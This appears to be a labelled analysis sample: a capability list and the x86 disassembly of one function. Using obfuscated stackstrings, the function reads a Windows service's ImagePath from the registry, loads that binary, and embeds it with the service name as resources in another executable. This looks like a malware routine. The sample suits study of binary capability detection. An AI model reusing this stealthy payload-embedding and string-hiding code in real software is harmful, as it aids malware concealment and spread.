Function at 0x4027a0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov al, 0x72
mov cl, 0x53
mov byte [ebp - 0x2f], al
mov byte [ebp - 0x2e], al
mov byte [ebp - 0x26], al
mov byte [ebp - 0x1d], al
mov byte [ebp - 0x38], cl
mov byte [ebp - 0x36], cl
mov byte [ebp - 0x23], cl
mov byte [ebp - 0x1f], cl
lea eax, [ebp - 0x38]
lea ecx, [ebp - 0x140]
mov dl, 0x5c
mov bl, 0x74
push eax
push ecx
mov byte [ebp - 0x37], 0x59
mov byte [ebp - 0x35], 0x54
mov byte [ebp - 0x34], 0x45
mov byte [ebp - 0x33], 0x4d
mov byte [ebp - 0x32], dl
mov byte [ebp - 0x31], 0x43
mov byte [ebp - 0x30], 0x75
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x6e
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0x43
mov byte [ebp - 0x29], 0x6f
mov byte [ebp - 0x28], 0x6e
mov byte [ebp - 0x27], bl
mov byte [ebp - 0x25], 0x6f
mov byte [ebp - 0x24], 0x6c
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x20], dl
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1c], 0x76
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x73
mov byte [ebp - 0x17], dl
mov byte [ebp - 0x16], 0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x140]
push str.Nationalroi
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 8]
lea ecx, [ebp - 0x140]
push eax
push 0xf003f
push 0
push ecx
push 0x80000002
call dword [0x409df0]
test eax, eax
je 0x402891
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x140]
lea edx, [ebp - 0x3c]
rep stosd dword es:[edi], eax
mov al, 0x61
push edx
mov edx, dword [ebp - 8]
mov byte [ebp - 0x12], al
mov byte [ebp - 0xe], al
lea eax, [ebp - 0x140]
push eax
push 0
lea ecx, [ebp - 0x14]
push 0
push ecx
push edx
mov dword [ebp - 0x3c], 0x104
mov byte [ebp - 0x14], 0x49
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0x11], 0x67
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x50
mov byte [ebp - 0xd], bl
mov byte [ebp - 0xc], 0x68
mov byte [ebp - 0xb], 0
call dword [0x409df4]
test eax, eax
je 0x402902
mov eax, dword [ebp - 8]
push eax
call dword [0x409df8]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
push ecx
call dword [0x409df8]
lea edx, [ebp - 0x140]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402927
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 3
push 0
push 1
lea eax, [ebp - 0x140]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402953
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov dword [ebp - 4], eax
jne 0x402973
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
jne 0x402992
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push 0
push ecx
push edx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4029bf
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
jne 0x4029e8
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
push ecx
push ebx
push 0
push 0x66
push 0xa
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov edi, eax
test edi, edi
je 0x402a21
push str.Nationalroi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push str.Nationalroi
push 0
push 0x65
push 0xa
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov edi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
test eax, eax
push ebx
jne 0x402a3e
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret